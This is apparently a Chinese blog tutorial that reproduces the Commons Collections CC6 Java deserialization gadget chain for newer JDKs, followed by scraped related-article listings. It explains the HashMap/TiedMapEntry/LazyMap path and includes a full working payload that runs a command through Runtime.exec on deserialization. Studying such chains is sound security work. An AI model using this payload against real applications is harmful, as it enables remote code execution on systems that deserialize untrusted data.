关于打高版本java,cc6复现

从上一篇的cc1中我们发现他不能作用在jdk_8u71以上的版本,因此;为了解决这个问题,引入了cc6

之所以不能用cc1打高版本,是由于在Java 8u71以后, sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了;

所以这条链子走不了了,因此为了解决这一问题,就需要看看上下文其他地方的调用LazyMap的get的地方

老规矩先找可以触发transform方法的函数;

这里依然用的是LazyMap的get方法触发

在高版本中CC1中用到的AnnotationInvocationHandler类的Invoke无法再触发,我们找到了org.apache.commons.collections.keyvalue.TiedMapEntry类;

可以看到这里使用TiedMapEntry的getvalue调用了get;

只需要传进去的map等于我们的Lazymap类的实例化对象即可

接下来继续找哪里调用了getvalue();

可以看到有3个地方调用了getvalue,equals(),hashCode(),toString()

在URLDNS链子中我们知道在hashmap反序列化过程中,会触发readObject()方法进行重建键值对。这一过程会自动触发键对象的hashCode()计算

先说toString();这个很难找到在 readobject 中的隐式调用;

而equals()在hash冲突(当两个不同键的hashCode()结果相同时,HashMap会调用equals()验证键是否真正相等)或

集合操作时(如contains()remove()等方法的调用(但反序列化过程很少涉及这些操作))才会隐式触发

也就是说equals()触发场景(可能需要进行需要精确构造哈希碰撞的操作)利用难度较大;

而hashCode()我们知道在hashmap中hash函数进行调用

在readobject中调用了hash

可以看到其中hash对传进去的key进行处理;我们只需要让TiedMapEntry类的实例对象作为key传进去即可

因此gadget链就是

graph TD
A[HashMap.readObject] --> B[HashMap.hash]
B --> C[TiedMapEntry.hashCode]
C --> D[TiedMapEntry.getValue]
D --> E[LazyMap.get]
E --> F[ChainedTransformer.transform]
F --> G[InvokerTransformer执行命令]

以下是payload

public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
}; Transformer transformerchains = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerchains);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();//清空map Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerchains,Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) expMap);
//反序列化
SerializationUtils.deserialize(exp); }

区分下这个clear();和上一篇的clear()的区别在于;这里的clear()是为了确保反序列化的正常执行,上一篇cc1的clear()是为了触发代理类的invoke,才进行显示调用测试;实际上调用不在"黑名单中的任意函数都可以",比如说我显示调用entrySet()

下面我解释下在cc6中为什么要清空map;

进行调试后发现,在LazyMap的get中;这里没有进入if判断而是直接跳过然后进入else进行返回;原因显而易见;是key已经存在值

keykey了;

从上下文可以知道这个keykey是在TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");赋值;

但其构造函数中并没有对outmap进行操作

了解过DNSURL这条链子,就会知道这其实是由于这个语句

expMap.put(tme, "valuevalue");

在put函数中也会调用hashcode

也就是说

expMap.put(tme, "valuevalue") 会隐式触发 TiedMapEntry.hashCode()LazyMap.get("keykey")。由于之前传入的是fakeTransformers,此时链子不会触发;而在此次之后, outerMap(即LazyMap)中会存入键 "keykey";导致后续的"真实链子"不会触发;

测试写入真实链子,可以看到在put(实际场景中是序列化时触发)时就触发了

因此;这时候就需要clear()清空outmap中的keykey;

最后

这条链子没有cc1,lazymap版本动态代理那部分的"难以理解",比较经典;用的也比较舒服的一条链子;

再次总结下流程

通过在LazyMap的get可以执行ChainedTransformer.transform,我们找到了TiedMapEntry.getValue去触发get,在TiedMapEntry代码中我们看到hashcode调用了getvalue,所以,我们很容易想到打URLDNS链用的hashmap中的hash触发;最后通过hashmap的readobjecct中的hash触发hashcode;

正向流程就是在反序列化过程中 Hashmap的readobject触发hash函数,由于hash参数是TiedMapEntry对象,因此调用了TiedMapEntry的hashcode函数,在hashcode中又调用了getvalue函数,在getvalue中调用了传进来的map参数的get函数,由于我们传进去的是LazyMap对象,导致调用了LazyMap对象的get函数,触发了get的transform函数,而这个transform可控,导致我们注入我们的恶意的反射调用链去执行任意命令;

再次贴下gadget

graph TD
A[HashMap.readObject] --> B[HashMap.hash]
B --> C[TiedMapEntry.hashCode]
C --> D[TiedMapEntry.getValue]
D --> E[LazyMap.get]
E --> F[ChainedTransformer.transform]
F --> G[InvokerTransformer执行命令]



参考文章:p牛的博客知识星球->代码审计->java系列文章

https://mp.weixin.qq.com/s/AjCngDFNE2wT9JvajMMxTA

关于打高版本java,cc6复现的更多相关文章

  1. java高版本下各种JNDI Bypass方法复现

    目录 0 前言 1 Java高版本JNDI绕过的源代码分析 1.1 思路一的源码分析 1.2 思路二的源码分析 2 基于本地工厂类的利用方法 2.1 org.apache.naming.factory ...

  2. 高版本 eclipse 如何安装 fatjar 插件以及使用 fatjar 将 Java 程序打成 Jar 包

    高版本 eclipse 如何安装 fatjar 插件以及使用 fatjar 将 Java 程序打成 Jar 包 Eclipse Version: Neon.3 Release (4.6.3) Welc ...

  3. 解决jmeter5.1高版本linux CPU,IO,Memory监控性能测试 java.lang.NoSuchMethodError: org.apache.jmeter.samplers.SampleSaveConfiguration.setFormatter(Ljava/t

    jmeter中也可以监控服务器的CPU和内存使用情况,但是需要安装一些插件还需要在被监测服务器上开启服务. 安装性能监控插件(jmeter-plugins)后报如下错误,是由于jmeter版本过高jm ...

  4. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  5. Intellij IDEA新导入项目运行出现Error:(60, 47) java: -source 1.5 中不支持 diamond 运算符 (请使用 -source 7 或更高版本以启用 diamond 运算符)

    后台窗口报错如下: 问题原因 项目jdk版本配置不正确. 解决方案 ①File ->Project Structure ② ③之后还要检查一下这里 Settings-->Build,Exe ...

  6. 从高版本JDK换成低版本JDK报错Unsupported major.minor version 52.0

    ava.lang.UnsupportedClassVersionError: PR/Sort : Unsupported major.minor version 52.0这个错误是由于高版本的java ...

  7. selenium支付高版本的FireFox

    http://blog.csdn.net/pw_windgod/article/details/6537409 15:22:12.031 WARN - GET /selenium-server/dri ...

  8. 高版本myeclipse破解以及优化

    1.破解图 破解myeclipse但是在默认安装目录没有发现common文件夹,该怎么办? 打开myeclipse:  Myclipse-->Installation Summary...,   ...

  9. 转发:maven打包时始终出现以下提示:-source 1.3 中不支持泛型(请使用 -source 5 或更高版本以启用泛型)

    maven打包时始终出现以下提示: 1.-source 1.3 中不支持泛型(请使用 -source 5 或更高版本以启用泛型)List<User> userList= new Array ...

  10. 高密度Java应用部署的一些实践

    传统的Java应用部署模式,一般遵循“硬件->操作系统->JVM->Java应用”这种自底向上的部署结构,其中JEE应用可以细化为“硬件->操作系统->JVM->J ...

随机推荐

  1. Manjora配置记录

    22/9/12 目前的启动项有3:Windows Boot Manager.Manjaro.UEFI OS.其中UEFI OS 和 Manjaro 进入后内容相同:Windows下检测不到Manjar ...

  2. 依赖倒置 DIP、依赖注入 DI、控制反转 IoC 和工厂模式

    1. 依赖倒置 依赖倒置原则(Dependency Inversion Principle, DIP)是 SOLID 原则中的一项,其核心思想是通过抽象解耦高层模块和低层模块,使二者都依赖于抽象而非具 ...

  3. git 合并分支 merge

    git 分支开发 git 分支开发,分支(feature)同步主干(master)代码,以及最终分支合并到主干的操作流程   由于 rebase 执行速度慢,分支同步主干代码时,分支的每次提交都可能和 ...

  4. Cython二进制逆向系列(三)运算符

    Cython二进制逆向系列(三)运算符 在开始前,先给出本文用到的py源代码 def test1(x, y): # 数学运算符 a = x + y b = x - y c = x * y d = x ...

  5. 使用ssh连接virtual Box里的虚拟机

    使用ssh连接virtual Box里的虚拟机 需求:virtual Box提供的文件拖放功能在从虚拟机拖向主机时,会出现一些卡顿,因此考虑使用ssh代替其文件传输功能. 高级 -> 端口转发 ...

  6. [源码系列:手写spring] IOC第一节:简单bean容器

    本专栏带领大家手写一遍spring的核心代码,包括IOC,AOP,三级缓存... 第一节较为简单,后面的章节会逐渐提升代码量和复杂度,喜欢的同学记得订阅哦  ̄▽ ̄ 定义一个简单的bean容器BeanF ...

  7. while(bug)

    while(bug) { // 加了班也不一定写的完代码 // 写完了代码也不一定编译的过 // 编译过了也不一定没bug // 有了bug也不一定找的到 // 找到bug也不一定改的了 // 改了这 ...

  8. 使用Python和SymPy推导斯特林公式

    引言 斯特林公式(Stirling's Approximation)是一种用来近似计算阶乘的数学公式.它是数学分析中非常重要的近似公式之一,尤其在概率论.统计学.物理学等领域中广泛应用.本文将使用 P ...

  9. Spring框架中的单例bean是线程安全的吗?

    1.介绍两个概念 有状态的bean:对象中有实例变量(成员变量),可以保存数据,是非线程安全的 无状态的bean:对象中没有实例变量(成员变量),不能保存数据,可以在多线程环境下共享,是线程安全的 2 ...

  10. ESP32S3播放音频文件

    ESP32S3播放音频文件 硬件基于立创实战派esp32s3 软件代码基于立创实战派教程修改,分析 播放PCM格式音频 原理图分析 音频芯片ES8311 ES8311_I2C_ADD:0x18 音频功 ...